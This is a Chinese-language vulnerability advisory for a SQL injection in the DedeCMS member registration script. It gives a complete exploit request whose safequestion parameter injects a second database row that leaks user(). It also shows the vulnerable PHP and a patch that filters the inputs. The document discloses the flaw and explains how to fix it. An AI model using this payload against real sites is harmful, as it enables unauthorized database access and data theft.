dedecms织梦 /member/reg_new.php SQL注入漏洞

1. 漏洞描述 Dedecms会员中心注入漏洞 2. 漏洞触发条件 /member/reg_new.php?dopost=regbase&step=1&mtype=%B8%F6%C8%CB&mtype=%B8%F6%C8%CB&userid=123asd123&uname=12a...

1. 漏洞描述

Dedecms会员中心注入漏洞

2. 漏洞触发条件

  /member/reg_new.php?dopost=regbase&step=1&mtype=%B8%F6%C8%CB&mtype=%B8%F6%C8%CB&userid=123asd123&uname=12asd13123&userpwd=123123&userpwdok=123123&email=1213asd123%40QQ.COM&safequestion=1','1111111111111','1389701121','127.0.0.1','1389701121','127.0.0.1'),('个人',user(),'4297f44b13955235245b2497399d7a93','12as11111111111111111d13123','','10','0','1213asd11111111111123@QQ.COM','100', '0','-10','','1&safeanswer=1111111111111&sex=&vdcode=slum&agree=    //把vdcode=slum改成当前的验证码  

3. 漏洞影响范围

4. 漏洞代码分析

/member/reg_new.php

  ..  $jointime = time();  $logintime = time();  $joinip = GetIP();  $loginip = GetIP();  $pwd = md5($userpwd);     $spaceSta = ($cfg_mb_spacesta < 0 ? $cfg_mb_spacesta : 0);    //未对$mtype、$safeanswer、$safequestion进行有效过滤就带入SQL查询  $inQuery = "INSERT INTO `dede_member` (`mtype` ,`userid` ,`pwd` ,`uname` ,`sex` ,`rank` ,`money` ,`email` ,`scores` ,  `matt`, `spacesta` ,`face`,`safequestion`,`safeanswer` ,`jointime` ,`joinip` ,`logintime` ,`loginip` )  VALUES ('$mtype','$userid','$pwd','$uname','$sex','10','$dfmoney','$email','$dfscores',  '0','$spaceSta','','$safequestion','$safeanswer','$jointime','$joinip','$logintime','$loginip'); ";     if($dsql->ExecuteNoneQuery($inQuery))  ..

5. 防御方法

/member/reg_new.php

  ..  $jointime = time();  $logintime = time();  $joinip = GetIP();  $loginip = GetIP();  $pwd = md5($userpwd);  /* 对$mtype、$safeanswer、$safequestion进行有效过滤 */      $mtype = HtmlReplace($mtype,1);      $safeanswer = HtmlReplace($safeanswer);      $safequestion = HtmlReplace($safequestion);  /* */    $spaceSta = ($cfg_mb_spacesta < 0 ? $cfg_mb_spacesta : 0);    $inQuery = "INSERT INTO `dede_member` (`mtype` ,`userid` ,`pwd` ,`uname` ,`sex` ,`rank` ,`money` ,`email` ,`scores` ,  `matt`, `spacesta` ,`face`,`safequestion`,`safeanswer` ,`jointime` ,`joinip` ,`logintime` ,`loginip` )  VALUES ('$mtype','$userid','$pwd','$uname','$sex','10','$dfmoney','$email','$dfscores',  '0','$spaceSta','','$safequestion','$safeanswer','$jointime','$joinip','$logintime','$loginip'); ";  if($dsql->ExecuteNoneQuery($inQuery))  {  ..
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